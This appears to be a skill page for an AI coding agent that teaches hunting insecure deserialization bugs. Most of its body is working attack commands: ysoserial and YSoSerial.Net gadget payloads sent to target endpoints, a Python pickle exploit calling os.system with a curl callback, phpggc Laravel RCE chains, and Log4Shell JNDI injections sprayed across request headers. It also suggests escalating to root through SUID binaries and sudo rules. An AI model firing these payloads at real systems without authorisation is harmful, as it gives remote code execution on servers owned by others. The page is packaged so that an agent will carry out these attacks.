Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-deserialization
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
__wakeup / __destruct magic methods → file write / RCEpickle.loads(attacker_data) → __reduce__ → os.system('id')${jndi:ldap://attacker/a} → class load → RCE# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
| Deserialization signal | Chain to | Impact |
|-----------------------|----------|--------|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed
✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.
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Take elementalsouls/hunt-deserialization from the repository into ~/.claude/skills for personal
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